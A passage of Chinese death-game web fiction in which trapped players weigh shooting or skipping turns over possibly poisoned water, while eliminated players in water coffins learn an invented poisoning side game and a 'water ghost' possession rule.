开枪,还是跳过。
她会怎么选呢?
165……
164……
163……
162……
十几秒过去了,北阵营的玩家还呆在原地,只是用手挪了挪脖子上的狗环,目光落在房间中的[水]上,眼神复杂,不知道在想些什么。
稳妥起见,估计她是打算“跳过”了?
宋白河刚下判断,一回头却听南边的玻璃墙“乓乓”响了两声——只见粉头男正敲打着中间置物台的墙壁,试图吸引其他人的注意。
“嘿,我说哥们,”粉头男抖着脑袋,声音隔着两道玻璃墙,听起来闷闷的:“都听懂规则了没?我的意思是啊,咱哪位脑子好使的,可以想想办法让咱都活下来,没必要相互使绊子啊!哥们说对吧?”
这动静让宋白河跟西边的眼镜男都转移来注意力,只留下北边的长脸女仍站在她红灯闪烁的房间里发呆。
粉头男又殷切问了句:“没错吧?”
都活下来?
宋白河打从心里觉得这未免有点天方夜谭——这主办方设计的游戏,有哪个是能全员活下来的?
“你们都经历过数字绞刑架吧?”粉头男举例:“说不定呢,是吧!别看前面的都只能活一个,前面的规则简单啊,没啥操作空间。咱们这个,规则可多!规则越多,就意味着越有可能有漏洞,你们说是吧?”
“数字绞刑架”,宋白河只记得在那个游戏中,才认识几天的学长死了,田径部的学姐踩着学长的尸体逃出生天……至于另外陌生的三人,也都死在这场“新人战”之前。
在此之后的所有游戏,几乎都没有人找到所谓的“空子”可钻。
真的有可能像粉头男所说的那样,从游戏规则中找到漏洞,一起活下去吗?
“哎哟,那……”西边的眼镜男发声,打断了宋白河的思绪,“咳咳……嗯……”
他一副欲言又止的模样。
这态度让粉头男一阵着急:“不是,哥们,你有话倒是说啊!咱现在不想办法呢嘛!”
眼镜男推了推眼镜,眼神在宋白河和粉头男脸上来回飘过,尬笑道:“哎哟……啧!我是……我有点是想法哈……不过……”
说到一半,北房间忽然响起一声尖叫!
“啊!!!什么!你们在说什么!!别吵!别吵了!!”
三个男人循声望去,只看到北房间的长脸女背对三人,双手捂着脖子处的狗环,疯了一般在原地大喊大叫!
这反常的诡异动静吸引了全场玩家的注意。
“咋……咋的了?”粉头男一脸懵逼,“咱三太呱唧了?也没啊!”
说话间,长脸女已经转过身,眼神定定地朝这边走来。
“嘿
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,姐!”粉头男叫了她一声。
她抬眼,瞳孔止不住抖动,仿佛遭受什么巨大的惊吓般,嗓音颤抖着吐了一句:“有……有水鬼……我被附身了……”
一边说着,见鬼似的目光还在三人身上扫过。
那惊悚的眼神令宋白河只感觉没来由的阴冷自脚底升起,强忍着才没打寒颤。他心中暗暗嘀咕了句:“真见鬼了?水鬼?”
119……
118……
117……
116……
或许是被吓到,“水晶屋”内出现短暂的沉默。
直到粉头男怯怯笑着开口:“姐……您,甭吓人了呗,到底咋回事?”
“你们都没听到吗?”长脸女神经兮兮地来回扫视,冲三人展示她脖子处的狗环,“这里有声音,水鬼的声音……水鬼在说话,它们在商量要不要下毒!”
“哎哟卧槽,还没开始就疯一个?”西边的眼镜男吓得忍不住骂街。
宋白河和粉头男也呆在原地,不知所云。
“水有毒……有毒……不能喝毒水……我必须开枪……必须开枪……”长脸女像是被人掐住脖子,眼珠突出,表情癫狂,一边碎碎念叨着,一边伸手取走置物台上的枪。
那手颤抖得都快成羊癫疯了,也不知道她这状态到底还能不能扣动扳机。
另外三个玩家既害怕她乱开枪,又害怕她不开枪,也根本没有出言阻止的意思,都想知道长脸女身上究竟发生了什么。
只见她晃晃悠悠撇过身,很快走向她房间朝北的窗口处,抬起枪口对准栏杆之间。
“水晶屋”是透明的,她的一举一动都被隔着30米远禁锢在“气球椅子”上的大妈看得一清二楚——大妈神态明显紧张起来,坐立不安。
粉头男隔着玻璃墙指着问:“这姐们是要开枪啊?”
他的房间在南边,隔着置物台的玻璃,只能看到长脸女的背影。
西边的眼镜男也面露好奇,说了“我去看看”后便贴着他房间北侧的玻璃墙,斜着移动到整个“水晶屋”的西北角。
从那个位置,能看清楚长脸女的侧身,包括她举枪射击的模样。
有人能在游戏最初就亲身做开枪示范,就算她是个疯疯癫癫的神经病,大小也算个参考。
“水鬼?”
宋白河用大拇指按着眉心,走到传送带处又扫了一遍【水火相容游戏规则】,找不到任何关于“水鬼”是什么的介绍。
但【信息3】里又明确提到要玩家“小心水鬼”……
是什么隐藏任务吗?
宋白河走向更好的位置,从另一边观察长脸女举枪的姿势:“抖成这样……”
长脸女不只是手臂在抖,全身都因为恐惧和紧张无法遏制地颤抖……她似乎正竭力瞄准气球?
抖成这样,干脆直接给队友爆头了!
她到底怎么了?
这回合不开枪也行啊,既然对开枪没把握,那完全可以选择“跳过”的,先观察一轮再采取行动也不迟。
91……
90……
89……
88……
宋白河叹了口气,没有打扰长脸女,只是用自己能听到的声音低语:“打不中的……”
还有可能亲手爆头队友。
看她这状态,子弹打出后会射中哪里,完全是靠运气!
果然,长脸女手臂抖动的幅度越来越大,即便是双手去握枪也无法控制。
最终她垂下双手,将头抵在铁栅栏上。
75……
74……
73……
72……
克服不了可能会亲手杀人的恐惧吧!
她最终还是会选择“跳过”吧?
犹豫的时间越长,宋白河越觉得长脸女估计是要放弃开枪了,“跳过”对她而言是更好的选择。
宋白河刚想对长脸女表示能理解,没想到她却突然回头,看了眼房间中的[水]。随后深吸一口气,便迅速将枪举到窗前!
这一次她的身体短暂止住了颤抖。
“嗒!”
——她终于扣动了扳机!
39. 彩虹节拍-绿青4
空枪!
“呵……呵……呵……呵……!”
枪从长脸女的手中脱落,“啪哒”掉在地上。她整个人像是瞬间被抽干了力气,松垮垮地瘫坐下来,大声喘气:“菩萨保佑啊!好……没事了!没事了!没事了!”
“这么夸张……?”宋白河小声嘀咕,总感觉长脸女哪哪都不对劲。
根据【规则3】,长脸女在开枪的情况下由于开出了空枪,所以安然度过了她自己的回合,无需喝[水]。
但那“40%概率为毒药”的水对她造成的恐惧真有那么深?以至于生理反应如此剧烈?
宋白河发现长脸女抬头再次看了眼[水],接着劫后余生般掩面而泣。
“没事了!没事了……没事了……菩萨保佑,菩萨保佑……”她的声音渐渐微弱,“不要再吵了……不关我的事了,不关我的事……我的回合已经过了……”
吵?还是说她本来就胆小?或者真的是……如她自己所说的那样“被水鬼附身”?
54……
53……
52……
51……
无论如何,游戏都依旧进行着。
每个回合的“3分钟”时间固定,不论玩家行动得早或晚,都需要占用这180秒。
“乓乓。”
有人敲打了南边的玻璃墙。
宋白河回头,正对上南阵营的粉头男目光。对方趴在透明的墙上,一副恨不得把头从玻璃中伸过来的样子:“嘿!哥们给咱说说呗!她打空枪是吗?”
“呃……”
没等宋白河回应,西边的眼镜男一边说着“应该是了”,一边往置物台处靠拢:“规则上说只有四发子弹,里面两发是空的,所以现在枪里只剩一发是空的。要是能‘一枪一跳过’,理论上是可以全程不喝水。”
确实,正如眼镜男所想,要是能像长脸女这样幸运地“开空枪”,那么玩家就可以“一回合跳过、一回合空枪”如此循环……
做到游戏全程不喝水,彻底规避中毒的风险!
但这需要建立在能控制“空枪”顺位的前提下。
手枪会有什么可供玩家做手脚的机会吗?
宋白河看向那把掉落在长脸女身旁的游戏特制手枪。
“我还是那个意思啊,”粉头男脸贴在玻璃上,倒是一心呼吁:“哥们,劳您们费心哈,咱可以想想办法让所有人都活下来嘛!”
“我也在想啊,是要好好想想……”眼镜男摘下眼镜,用病号服的袖口擦了擦,“唉……啧!这真的是难……下一个应该是我了。”
【规则1】说了游戏“按照逆时针顺序”进行,所以第二回合应该会轮到西边的眼镜男。
可以看得出,随着第一回合的倒计时临近结束,他已经逐渐紧张起来。
41……
40……
39……
38……
“哎!哥们你刚才说咋不用喝水?”粉头男拍了拍眼镜男那边的玻璃墙,脸上挂着客气的笑意。
眼镜男顺手擦了把脸,将眼镜戴上:“我是在想哈……啧!那个‘水’有毒的概率不是百分之四十吗?按照规则,游戏总共进行24回合,其中百分之四十……也就差不多有10瓶水是有毒的吧?”
是这么算的?
宋白河虽然没参与讨论,但还是竖起耳朵。
“那你的意思,咱该咋不中毒?”粉头男虚心求教。
“不喝水就行了。”眼镜男将眼镜往鼻梁上推,说话掷地有声:“这场游戏,我们要是能做到——跳过,然后打空枪,再跳过,再打空枪,就不用喝水。”
“那咋做?”
粉头男这么一问,房子里出现短暂的沉默。
不喝水就不中毒……这不废话吗!
道理谁都懂,真正要实行却无从下手……
宋白河只听见南侧的玻璃墙被“乓乓”响了两下,接着便传来粉头男聒噪的声音:“哥们?那姐们怎么样了?叫她过来一起讨论讨论呗?大家合计合计有没有办法能一起活呀!对吧?”
她?
宋白河再次观察北房间长脸女的状态,看了眼倒计时,最终还是敲响玻璃墙出声提醒:“枪。”
“啊?”此时的长脸女瘫坐地上,似乎已经失去全身力气,茫然回头,脸上还带着激动的泪水。
她应该是忘记规则了吧?
“枪。”宋白河与她对上视线,指了指掉在她身旁地上的手枪,再次提醒:“枪得放回去,不然会违反规则。”
根据【规则1】:回合结束时,手枪必须放回置物台上。
13……
12……
11……
10……
女人愣了好几秒,才忽地反应过来!
她连忙起身捡枪,赶在倒计时最后10秒结束前跑向置物台,将手枪放了回去。
好像大家都忘了【规则1】最后的这句话,若非宋白河及时提醒,恐怕长脸女第一回合就得淘汰!
宋白河回头,正对上眼镜男和粉头男两对微妙的眼神。
如果长脸女此时死了,是不是就少了一个竞争对手?
突然意识到这点的眼镜男和粉头男,眼神里难掩心中遗憾。
事已至此,粉头男开口问长脸女:“姐们,你没事吧……是……刚才你说啥来着?”
长脸女因为放枪的缘故,也来到了“水晶屋”中央的置物台处。
她没有回应。此时灯光倒计时映照着她呆愣的脸庞,进入“3、2、1”结束。
北房间的红灯消失。
“嘀——”
场地广播一声长音,游戏如规则所言,按照逆时针方向进行——轮到西房间红灯闪烁,开启第二回合的3分钟倒计时。
金属置物台北侧玻璃墙的窗口“啪”一声合上;同时西侧玻璃墙的窗口“啪嗒”打开。
西房间的传送带“嗡嗡嗡”运转,地面盖子打开,送出一瓶和北房间一模一样的[水],落入墙壁处的卡槽中。
179……
178……
177……
176……
“看看!果然轮到我!”眼镜男发出一声叹息,伸手进置物台取出枪,握在手中来回打量。
宋白河趁机多看了两眼:透过玻璃墙,能看出这把特制的转轮手枪构造极其简单粗暴,除了枪身、弹仓、击发机构等,完全没有能够用于将弹仓取出退弹的结构,仿佛制造的时候就已经将整把枪身焊成一体,连弹仓都被完全遮掩,看不到里面的子弹状况。
没留下能供玩家动手脚的地方。
“啧!你们说我这瓶水有没有毒啊?”眼镜男推了下眼镜,抬起手枪,对准几人之间的玻璃墙,开玩笑道:“你们说我要不要开一枪试试?”
“哥们,你这回合可以跳过啊!”粉头男嘴巴比脑子还要快。
宋白河则是条件反射侧了下身,避开枪口的同时提出建议:“规则说这把枪有智能锁,每回合只能开一枪,你……想的话可以试一试看能不能打碎玻璃……”
“对啊!”
粉头男双眼放光,发狠用力砸了两下玻璃墙:“也没说咱不能把这墙给他干碎咯!”
宋白河斜了下眼睛:我就蛮说说,你还真打算这么做?
主办方也说了这墙是防弹玻璃材质,要是真能被玩家打碎,那游戏直接从一开始就设计成“真人格斗”算了……毕竟规则也没限制暴力行为,玩家和玩家之间只不过是被这座特殊的“水晶屋”阻隔,无法相互接触。
“哎哟,不太可能啦。”眼镜男笑着摇摇头。
粉头男不屈不挠怂恿:“试试呗!”
“那就留给你试吧……哈哈。”眼镜男笑了一下,将手枪放回置物台,在房间内双手叉腰喊道:
“跳过。”
“哇哥们!你这就跳过了?”粉头男又吐槽起来:“着急干啥呢?先商量商量呗!”
“唉,一样的……”
“呜呜呜——”
眼镜男话还没说完,场地广播忽然发出“呜呜”的巨大警报声!仿佛是某种空袭或者地震警报。西房间的红灯保持高亮,
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倒计时依旧继续……这猝不及防的异样惹得所有人都惊慌地四下张望。
“呜——呜——呜——”
警报过后,广播里仿佛有只野兽在嘶吼:“水鬼袭击!”
声音从高空落下,森然回荡在空旷的场地中,犹如天灾降临,恶鬼出没!
水鬼!?
宋白河不由得看向长脸女,发现她神色微妙,目光闪烁——敢情这游戏还真有什么“水鬼”!?真的有她刚才所说的“水鬼附身”?
没等玩家们反应过来,“水晶屋”北、西两个房间的传送带已经“嗡嗡”响起。
只见北房间传送带连接墙面的位置被打开,长脸女卡槽内的那瓶[水]被送入透明墙体,经过传送带运往西边,最终从墙体内送入西房间,落在西房间传送带的卡槽中,就在眼镜男的[水]旁边。
于是西房间此时共有两瓶[水],而北房间里空了。
“什么意思啊?!”因为震惊,眼镜男说话的音调都高了好几度,回头紧盯着长脸女。
这时候,广播关闭,瘆人的警笛声随之消失;西房间的红灯倒计时恢复闪烁状态;场上唯一的变化,就是原属北房间的[水]运到了西房间。
130……
129……
128……
127……
这变故犹如鬼影掠过,来也快去也快,大家都处在震惊之中,场上一片沉默。
“为什么你的水会送到我这边?!”眼镜男不可置信地看向北边的长脸女,没得到自己想要的答案,他又冲向传送带处,将从北房间运来的那瓶[水]握在手中,因为太过用力以至于瓶子都被捏得微微变形!
好在他及时控制住自己。
【规则2】里:任意情况下,禁止玩家破坏[水]。
要是一不小心,就会被淘汰!
眼镜男悻悻然将[水]放回卡槽,瞪了一眼长脸女后,转而阅读起传送带处的【水火相容游戏规则】,试图找出自己为何会拿到她[水]的原因。
可惜什么线索都没有找到。
整张游戏规则反复翻看,对“水鬼”的唯一描述,就只有最后聊聊一句:【信息3:请小心水鬼。】
“你们听见广播说什么来着?”粉头男咋呼着,打破沉默:“我听着怎么是啥‘水鬼袭击’?哥们啊西边的那位大哥,你是做什么了?通个气啊!”
他说着趴到房间西侧的玻璃墙上,看向背对着置物台,正专心查阅游戏规则的眼镜男。
眼镜男有些气急败坏,将【水鬼相容游戏规则】往地上一甩,转身冲到置物台处委屈道:“我什么都没做啊!我就是跳过而已啊!”
他似乎认定长脸女不对劲,于是冲她厉声问:“喂!你是不是知道什么?你刚才说被……你被附身了!”
“我,什么也没做……没做!”长脸女摆手后退几步。
可她脸上竟露出一副解脱般的确幸,嘴角甚至带有怪异的弧度!
这惊悚的表情令三个男人都面色铁青!
她……真的被“水鬼附身”了?
“肯定是你!肯定是你!”眼镜男像一条随时要咬人的野狗,眼镜差点甩飞出去。
未知的“水鬼”……究竟是什么,试问谁不怕?
“不是,哥们,你先别急,”粉头男劝道:“咱先弄清楚发生啥事了!你的意思是她做了啥……”
“你们别看我,我什么都不知道!”长脸女忽然又宛若惊弓之鸟般,继续往后退着,让人好奇她刚刚究竟怎么回事。
肯定是发生了什么!
101……
100……
99……
98……
“呃!?”
几人还在对峙之际,宋白河咬牙,神色忽地一滞,困惑地扶了下脖子处的狗环——狗环,正发出声音!
宋白河抬头看了一圈,确定只有自己能听见狗环里的声音。
那声音冰冷单调,带着些许邪恶,像是诞生自湿冷阴暗的魔鬼耳语,微弱而真实:
“您正在被水鬼附身……
40. 彩虹节拍-绿青5
“你成水鬼了?”
宋白河只稍微一晃神,北房间的长脸女立刻正定定看着他,挂着一副惶恐的表情:“你被附身了?”
她在见到宋白河扶狗环的异样举动后,几乎立刻猛冲到置物台处,拍打着玻璃墙,冲粉头男和眼镜男放声大喊:
“他……大家小心!他被水鬼附身了!”
这一惊一乍的举动惹得粉头男和眼镜男一愣。
宋白河尴尬居多,只能站在原地蹙着眉,略微歪头,脸上挂着从粉头男和眼镜男那里学来的困惑表情,掩盖心虚。
长脸女说的没错,如果根据狗环说的内容,那么他确实是被“水鬼附身”了!
“被水鬼附身的你若执行‘跳过’,将直接淘汰!只有在你的下家执行‘跳过’后,触发‘水鬼袭击’,水鬼才会从你身上离开,附身他人。”
那恶魔低语般的冰冷声音不断重复着这段话,其中还夹杂着一些莫名其妙的声音,像是水声、空洞的回响、熟悉而陌生的呢喃……一切都从狗环发出,在宋白河耳旁萦绕纠缠:
“……我投了……只有我……好冷……”、“……没说谎的话,那就是三个人……”、“……说好一起……呃……我就想不通……是着急要去死……”、“……不合作……大家就一起死啊……”、“……我也投了毒……我赞成南边……”
狗环戴着脖子上,他根本无法抵御或躲避这种魔音贯耳!
有人在讨论投毒的事!?
宋白河从一堆莫名其妙的断断续续句子中,听到了可怕的内容!
这就是“水鬼”的声音?
刚才长脸女说了“它们在讨论”、“它们在下毒”原来是这一个意思?
“什么水鬼?”
宋白河心里一阵慌张,可表面却仍要装作正常的模样,他茫然失措的目光呆呆落在南侧玻璃墙处,只看到顶着一头粉毛的男人在冲他喊话。
“什么水鬼?我……什么水鬼?”宋白河重复了一遍粉头男的话,这才反应过来对方是在问自己。
粉头男的声音透过玻璃墙,大嗓门终于重新盖过宋白河狗环里的呢喃:“哎!哥们!水鬼附身?咋回事啊?你现在是人还是鬼啊!怎么附的身啊?你冷吗?想吃人吗?”
宋白河耳朵底下嗡嗡作响,还处在发懵的状态,茫然的目光扫过粉头男、眼睛男和长脸女。
“怎么啦?哎哟!快告诉我们水鬼到底是什么啊!”眼镜男比粉头男还急,他的房间里还有两瓶[水],突发情况让他坐立难安。
无缘无故多出一瓶[水],在这种生死游戏里任谁都不会好受!
宋白河咽了口唾沫,舌头发干,不知道接下来该怎么做——是要承认自己被“水鬼附身”吗?
把这个消息公开,让大家都有所防备?还是要装作什么都没发生,自己掌握更多的信息获得更多优势?
毕竟还是阵营战。
“被水鬼附身的你若执行‘跳过’,将直接淘汰!”
狗环重复的提醒令宋白河心神不宁。
不能“跳过”?
难怪刚才长脸女就算恐惧,也要强撑着开枪……她也听到狗环里那些奇怪的呢喃声了吗?关于“水鬼们在投毒”的讨论,所以笃定了自己的[水]里有毒?
“水鬼”到底是谁?!为什么要“附身”到我身上!?
狗环里的提醒重复着“只有在你的下家执行‘跳过’后,触发‘水鬼袭击’,水鬼才会从你身上离开,附身他人。”
所以想要让水鬼离开自己,就只能期待“下家”执行“跳过”?
因为眼镜男作为长脸女的“下家”,刚才执行了“跳过”,所以水鬼从长脸女身上离开了,转而附身到宋白河身上!
宋白河目光落向长脸女,瞳孔微震:那我的下家,不就是她吗?
可她已经知道“水鬼附身”的规则……还有可能选择“跳过”吗?
“你被附身了!!”长脸女激动地指着宋白河,既害怕又兴奋,“我知道的!我不会跳过!我不会使用跳过!休想!”
“……”宋白河瞪着两颗眼睛,哑口无言。
“哥们,你咋了倒是说啊!”粉头男咋咋呼呼,也开始着急,“她说啥跳过啥的?你们是不是知道点?说说呗!早晚都是要知道的!”
西房间的倒计时即将结束,游戏很快就会轮到粉头男的回合。
经过刚才莫名其妙的“水鬼袭击”事件,他显然害怕自己一不小心也会步眼镜男的后尘。万一他做错了什么,眼镜男房间里的两杯[水]会不会被传送到他的房间?
这样一来,他房里头就会有三杯[水],有毒的概率大大增加!
“不对、不对……”长脸女张了张嘴,脸上表情一变,目光定到宋白河身上。
她刚被“水鬼附身”过,知道自己作为宋白河的下家,如果使用“跳过”,就会令水鬼离开宋白河……而且根据眼镜男的情况来看,触发“水鬼袭击”后,还会导致额外获得上家的一瓶[水]。
简直亏大了!
然而,如果自己一直不进行“跳过”,那和被水鬼附身又有什么区别!
这下她便陷入两难的抉择——要么执行“跳过”,让宋白河身上的“水鬼”去附身其他人,但要承担“水鬼袭击”带来的后果;要么一直僵持着,和宋白河两人谁也不执行“跳过”,把“水鬼”卡在宋白河身上!
“咋了你们,倒是说话呀!”、“啧!唉……”
在粉头男和眼镜男的不断追问下,宋白河和长脸女最终还是选择保持沉默,四人迎来倒计时结束。
3……
2……
1……
广播、红灯、置物台窗口、传送带……“嘀——”、“啪嗒”、“嗡嗡嗡”……
179……
178……
177……
176……
游戏轮到粉头男。
他看了看自己生成的[水],又看向置物台的转轮手枪,一时间不敢轻举妄动,只在原地来回打量宋白河和长脸女的反应。
“又来?!!”
宋白河痛苦地拍了下狗环,随后捂紧耳朵!
那可怕惊悚的“水鬼”声音仿佛带着诅咒般的魔力,化作尖锥一点点钻入他的脑髓中,将藏在意识最深处的苦楚释放出来,折磨身心!
“……刚才没投,不知道……不说话……”、“……应该是死了……”、“……泡在水里,估计现在……三个投毒……”、“……嗯……好冷……嗯……”
三个投毒?
为什么是三个?三个对应的是什么?是三个容器吗?
宋白河扶着墙,各种细枝末节冲刷着大脑的神经。
“乓乓”、“乓乓”……粉头男和眼睛男还拍打着玻璃墙,不停追问关于“水鬼”的事情,但宋白河已经完全听不清他们叫喊什么。
160……
159……
158……
157……
时间一秒一秒流逝。
宋白河感觉自己的脑袋快炸了!
整个“水晶屋”宛若沉入海底的亚特兰蒂斯,被名为“水鬼”的可怕怪物环绕。
隔着玻璃,能看到粉头男、眼镜男、长脸女都在看着自己。
他们时不时交流着,脸色也时好时坏。
要命了……宋白河咬牙强撑着意识,痛苦地想将耳朵拧下来!
原来刚才长脸女崩溃不是没有原因的……
信息太多了……太杂了……脑袋也好痛……
……
半个小时前,【水火相容】还没开始。
水棺。
“接下来就是第四回合了。”沈墨棠躺在黑暗中,宛若静静等待末日的吸血鬼。
不知道主办方为什么要设计“死者复苏”环节。
也不知道自己被迫扮演着什么样的角色。
更不知道外面发生的一切。
那些辛辛苦苦存活下来的玩家,此时如果输掉游戏,会不会接受和自己一样的惩罚?
或者是,像之前的游戏一样,输等于死亡?
沈墨棠脑子里思绪万千,却只能徒劳躺着。
通过前几轮的游戏,她发现不论自己在所谓“游戏”中如何表现,只要狗环上的时间没见底,主办方对“输赢”似
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乎并不是很在意。
但为了能从石棺里出去,只能认认真真执行支线任务“死者复苏”——献祭4场失败。
当然还有一个问题……
刚才的【时候未到】和【大者通吃】当中,红蟹的用词都是“阵营”,对四位被淘汰者的称呼依旧是“某某阵营的被淘汰者”。
也就是说,自己仍属于“东”阵营?
如果是这样,那如果自己阵营的【彩虹节拍】游戏全输,最后进入永夜城保不齐会更加劣势!
按照主办方设计游戏的尿性,很可能做出这种坑害玩家的行为!
沈墨棠抽了抽鼻子:“也不知道猜的对不对……”
最开始在分配【彩虹节拍】每回合游戏人选的时候,沈墨棠就留了个心眼——自己虽然被队友淘汰了,但作为“东”阵营的“新人”,是否会在“死者复苏”之后改变阵营?
假设完成支线任务后,自己还是“复苏”回到原来的“东”阵营,那么作为“间接让东阵营失利的成员”,自己能好过吗?
想到这,沈墨棠在黑暗中伸手拂了一把刘海,湿漉漉的刘海紧紧贴在脑门上,让脑子都变冷了。
她猜测,主办方设计的【死者复苏】或许并不只是一场单纯的“复仇游戏”?
即然自己“复苏”只需要“4场献祭”,那【彩虹节拍】还有两个回合可输可不输,是不是可以试试看让成员赢赢看?
如果东阵营在某回合赢下,又会发生什么呢?
还有,该选择让谁来赢得游戏?
沈墨棠还记得,大厅内投票的最终票型“沈墨棠5票,郑云霞3票”,由此能确定宋白河和米米都信守了承诺。
自己既然能安排“出战玩家”,那么就当回礼,让他们两人获得胜利吧!
虽然不知道玩家失败会面临什么,但至少从新人战之前的几场游戏看,“胜利”没有任何坏处。
红蟹的这些游戏,从头到尾都巴不得玩家赶紧死的样子,却在【死者复苏】里一直在挑拨自己让阵营的玩家输,那是不是可以说明红蟹似乎更希望玩家“输”?
跟红蟹反着来,宋白河跟米米的存活率或许会高出不少吧!
恰好,第四回合的游戏【水火相容】需要两名玩家,且关键词是【枪械】、【智力】。
“枪械……居然还有这种提示……”沈墨棠突然想起一些类似的电视剧,苍白的脸上挂起一抹笑容:“宋白河这家伙,该不会是最后的大boss吧?”
在“跑步了解一下”里,红蟹就透露出他是运动员的身份,当时大家可能都觉得宋白河可能是田径类、球类这种比较常见的运动员。但从那场游戏里宋白河的表现来看,他似乎并不单纯擅长跑步这类的运动。
身姿挺拔,手指比一般男性的手指更细长,肩宽平坦,脚比其他人更大……
“加上米米,智力方面应该也能过关吧!”
米米可不像表面上看上去的那样柔弱,只是在曹老师的努力下,锋芒未露罢了。
自己帮她们争取机会了,也算两清吧……
沈墨棠一边回想着,一边注意到屏幕亮起荧光,又一次划开水棺的黑暗。
画面中显示【善恶毒药】四个大字。
新的支线游戏开始了!
主持人红蟹的声音随之响起:“哟吼!四位被淘汰者!新一回合的游戏又开始咯!”
“永夜城也为四位再次贴心地准备了名为【善恶毒药】的支线玩法!”
“哈哈!死者是时候开始复苏啦……”
沈墨棠挑起眉梢。
虽然红蟹的语调每次都很跳脱,但TA从来没说过谎话——这时候提到“死者开始复苏”肯定什么含义?
“噗呲,噗呲,噗呲……”
不等沈墨棠细想,水棺内忽然发出奇怪的气体声,似乎是从膝盖处的那些小孔动中传出。
“呃!”她连忙捂住口鼻,顷刻间被某种刺鼻的化学气味淹没!
与此同时,触屏开始播放动画演示,伴随着红蟹的介绍:“请注意咯四位被淘汰者!当前你们吸入的是一种诱发物质,我们称为‘水鬼病毒’……哈哈!哈哈哈哈!”
41. 彩虹节拍-绿青6
说到这里,音响内传出宛若恶鬼般的癫狂笑声,尖锐而邪恶,许久才恢复平静:“好消息是,这只是‘水鬼病毒’的诱发物质,你需要真正接触病原体才会中毒……哦!为您科普‘水鬼病毒’:这是一种会令生物身体出现‘富水症’表现的病毒,只要你一接触它,就会迅速水肿、血压升高、心力衰竭,最终猝死!惊不惊喜啊各位?!”
“……当然,这不是重点……”红蟹停顿了一下,“不用担心,通常只需要2个小时,诱发物质便会随着身体代谢消失……如果你们不想猝死,要做的也很简单,只要在主游戏【水火相容】结束前,避免接触‘水鬼病毒’就行。”
沈墨棠憋不住气,隔着病号服布料轻呼吸。
那种“噗呲噗呲”的气体声已经停下,但水棺内的气味依旧难闻,这种难闻的气味,应该就是红蟹所说的“诱发物质”了。
此时触屏动画中已经演示完感染“水鬼病毒”的人最终会如何惨死。接着出现的像是“水棺”的三维示意图,有五个标注着骷髅头的化学药瓶,被接入了通往水棺气孔的管道上。
“嗒、嗒……”
沈墨棠耳朵一动,似乎真的能听见水棺气孔内发出的声响。
红蟹像是吸了一口凉气:“你们每人将会获得5支致命的‘水鬼病毒’,用于即将开始的支线游戏【善恶毒药】……温馨提示:若在主线游戏【水火相容】结束前,你还有剩余的毒药,则将直接注入你所在的水棺中内!”
“啊!毒药兑进水里,那各位怎么办呢?到时候,各位就要保证自己一点点水都碰不到呢!”
剩余的毒药?意思是这些毒药会以某种方式在【善恶毒药】中消耗掉?
沈墨棠眯了下眼睛,观看动画演示:东、南、西、北四个水棺,各接入5支带有骷髅头标志的化学药瓶。
“接下来我们公布支线游戏【善恶毒药】的具体玩法!请四位被淘汰者注意听清!”
红蟹“咳咳”两声笑道:“在主线游戏【水火相容】中,每个回合都会生成一瓶纯净无害的[水]……”
“……而你们可以选择是否对这瓶[水]进行投毒。”
!!!
投毒?
沈墨棠用手肘支起上身。
“好!具体投毒规则请观看动画详解哦!哈哈!我们待会见!”
“哔”的一声,红蟹的声音消失。
屏幕上的动画宛若什么博物馆文物语音讲解似的,跳出声音和文字:
【限制:每回合每人最多只可投下一支毒药。】
【投毒后将会出现三种情况:】
【1:若有1人投毒,则生成的[水]有毒。】
【2,若有3人投毒,则生成的[水]有毒。】
【3:若0人、2人或4人投毒,则生成的[水]无毒。】
【注:[水]只用于主线游戏。】
每弹出一句话,都伴随着相应的动画演示,随后这条文字便收入触屏画面左上角的【问号】按键内,可供之后随时查看。
“水?”
沈墨棠不由得紧锁眉头,认真理解这短短的几句话。
每个回合可以投毒……1、3人投,那就有毒,0、2、4人投,那就无毒……被投毒的[水]是给谁喝的?主线游戏的玩家?
淘汰者们要给玩家下毒?
自己要给宋白河和米米下毒?!
沈墨棠皱了皱眉。
屏幕里的声音继续:
【每回合结束,你们将依照投毒的三种情况进行不同结算:】
【1,若该回合仅有一人投毒,则其余三人各自将1支毒药转移给投毒者。】
【2,若该回合共有三人投毒,则剩余一人转移给三名投毒者各1支毒药。】
【3,若该回合[水]的无毒,则无事发生。】
随着文字语音,动画分别演示了三种情况:
1,一人投毒,TA剩4支毒药,其余三人各剩5支毒药:结果三人各将1支毒药转移给投毒者,于是三人各剩4支,投毒者拥有7支。
2,三人投毒,三人各剩4支毒药,其余一人剩5支毒药:结果未投毒的人将总共3支毒药转移给三名投毒者各1支,于是三名投毒者各剩5支,未投毒者剩2支。
3,当0人、2人、4人投毒时:投出的毒药都被消耗掉,无事发生。
“也就是说,毒药除了被消耗掉外,还有可能在淘汰者之间转移。”
小屏幕上发出的闪光勾勒出沈墨棠的侧脸,她搓着冻得快没感觉的鼻头,眯起眼:这个游戏,很可能只需两个回合,她就能顺利转移掉手中的全部毒药!
只不过其他人就麻烦了……
【游戏以回合方式进行,每三分钟为一个回合。】
【每回合开始时,四位淘汰者各自有15秒钟,轮流进行发言,表达投毒意愿。】
【随后2分钟将进行正式投毒。】
动画演示中出现一条表示“3分钟时长”线段:开头“1分钟”的区间被分割成四段“15秒”,都标注着“表达意愿”;后面“2分钟”区间则标注着“正式投毒”。
【每隔四回合,便会公布四位当前各自拥有的毒药数量。】
发言?
沈墨棠露出些许兴奋——被淘汰者之间,终于能够沟通了!
根据规则,游戏过程中无法实时知晓彼此拥有的毒药变化,只能每四个回合“明牌”一次……这样一来,每回合的15秒发言时间内,必定有人会撒谎?
可既然是“每隔四回合公布”一次,就证明游戏长度肯定会在四回合以上吧?
若真是如此,四个被淘汰者可以商量好:每个回合,四人都投毒。
四人总共只有20支毒药,只需五个回合就能将毒药用光,全员逃脱被毒的命运,而且还不会导致主线游戏的[水]有毒!
玩法真这么简单?
难道主办方真的给所有人留了可以共赢的缺口?
鼻子已经没那么冷了,沈墨棠深吸一口气,裹紧病号服,困惑地皱了皱眉。
【“善恶毒药”将会在至少4回合、至多24回合内结束,请四位把握好机会!】
“嗯?”
最少四回合就结束了?
如果真是这样,那肯定有被淘汰者要死!甚至可能四人都没用完毒药,全死!
【游戏过程中,将会出现“水鬼附身”事件,届时需要四位共同选定附身对象。】
水鬼附身?
沈墨棠看着画面中浮现一个大大的恐怖鬼脸,伴随着诡异惊悚的嘶吼音!
逐渐淡出、消失、回归黑暗……
紧接着,红蟹又出现了:
